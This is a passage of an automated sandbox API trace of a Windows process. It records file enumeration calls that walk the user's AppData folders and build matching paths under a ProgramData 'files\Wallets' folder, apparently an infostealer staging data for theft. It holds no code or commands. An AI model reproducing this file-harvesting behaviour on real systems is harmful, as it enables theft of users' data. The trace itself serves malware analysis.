lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*.*" [0052.408] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x589fc0 [0052.410] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\." [0052.410] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.410] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.410] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\." [0052.410] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.410] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.410] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\.." [0052.411] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\.." [0052.411] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.411] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.411] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.411] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="CameraRoll.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" [0052.411] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="CameraRoll.library-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" [0052.411] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.411] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" [0052.411] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="desktop.ini" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\desktop.ini" [0052.411] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.411] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Documents.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0052.411] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="Documents.library-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0052.411] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.411] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Music.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0052.411] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.411] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="Music.library-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0052.411] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.412] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Pictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0052.412] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.412] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.412] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="Pictures.library-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0052.412] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.412] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="SavedPictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" [0052.412] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.412] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.412] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="SavedPictures.library-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" [0052.412] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.412] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0052.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0052.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Videos.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0052.412] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries" [0052.412] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\" [0052.412] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\", lpString2="Videos.library-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0052.412] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.412] FindClose (in: hFindFile=0x589fc0 | out: hFindFile=0x589fc0) returned 1 [0052.413] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.413] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0052.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\" [0052.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0052.413] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows" [0052.413] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\" [0052.413] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\", lpString2="Network Shortcuts" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Network Shortcuts" [0052.413] lstrcmpW (lpString1="Network Shortcuts", lpString2=".") returned 1 [0052.413] lstrcmpW (lpString1="Network Shortcuts", lpString2="..") returned 1 [0052.413] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0052.413] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*.*" [0052.413] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a4c0 [0052.414] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" [0052.414] 